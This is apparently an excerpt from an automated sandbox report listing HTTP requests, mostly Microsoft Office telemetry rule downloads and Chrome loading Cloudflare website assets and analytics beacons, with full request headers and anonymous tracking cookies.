Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /static/z/t HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729094220262}; _lr_uf_-ykolez=31c72f27-7fb5-414d-adfe-e159dffa454a; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; _biz_nA=2; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _biz_pendingA=%5B%5D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-54b184b2-7d7e-474c-8850-be872159dbbb%22%2C%22lastActivity%22:1729094230943%2C%22hasActivity%22:true%2C%22recordingConditionThreshold%22:50.12874518679207}; _uetvid=4bfadd708bd711efa979cd1425ce6efd\|1yww5uz\|1729094231495\|1\|1\|bat.bing.com/p/insights/c/u; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIj
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=5800add8-caaa-4f7b-8872-1ef83a3ff082&_u=KGDAAEADQAAAAC%7E&z=1575833837 HTTP/1.1Host: stats.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=5800add8-caaa-4f7b-8872-1ef83a3ff082&_u=KGDAAEADQAAAAC%7E&z=418214884 HTTP/1.1Host: stats.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=dd6cf6f9-acd2-4073-a576-1eec42770aaa HTTP/1.1Host: edge.adobedc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=5800add8-caaa-4f7b-8872-1ef83a3ff082&_u=KGDAAEADQAAAAC%7E&z=431452641 HTTP/1.1Host: stats.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/enablement-background-6de78040ef0acc8d2e8a596988c5f5d8.svg HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/under-attack-hotline/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729094220262}; _lr_uf_-ykolez=31c72f27-7fb5-414d-adfe-e159dffa454a; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; _biz_nA=2; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _biz_pendingA=%5B%5D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-54b184b2-7d7e-474c-8850-be872159dbbb%22%2C%22l
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/1rVmRBDX3KhZOe2FREoYOz/24f44a8dbe53111346d97dc59b7510ed/security-shield-protection-1.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; _biz_nA=2; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _biz_pendingA=%5B%5D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; _uetvid=4bfadd708bd711efa979cd1425ce6efd\|1yww5uz\|1729094231495\|1\|1\|bat.bing.com/p/insights/c/u; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIjoiY2xvdWRmbG
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/35yeieyQns5B8WsFes9Z20/8bf36cbf9edf546c30cc9e3e08235255/cloudflare-zero-trust.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; _biz_nA=2; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _biz_pendingA=%5B%5D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; _uetvid=4bfadd708bd711efa979cd1425ce6efd\|1yww5uz\|1729094231495\|1\|1\|bat.bing.com/p/insights/c/u; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/3jxszSMXRhwiwHDa1VPXFw/cc6439cd93a107bd0986bb6d5dcd8a97/network-scale.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; _biz_nA=2; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _biz_pendingA=%5B%5D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; _uetvid=4bfadd708bd711efa979cd1425ce6efd\|1yww5uz\|1729094231495\|1\|1\|bat.bing.com/p/insights/c/u; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==;
Source: global traffic	HTTP traffic detected: GET /api/v1/marketo/form/1639 HTTP/1.1Host: api.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/1Xar1H4WcFHHkHRDzMypMh/1f8989ae11cb464cc640c7121d0be9a6/logo_mars_trusted-by_gray.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; _biz_nA=2; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; 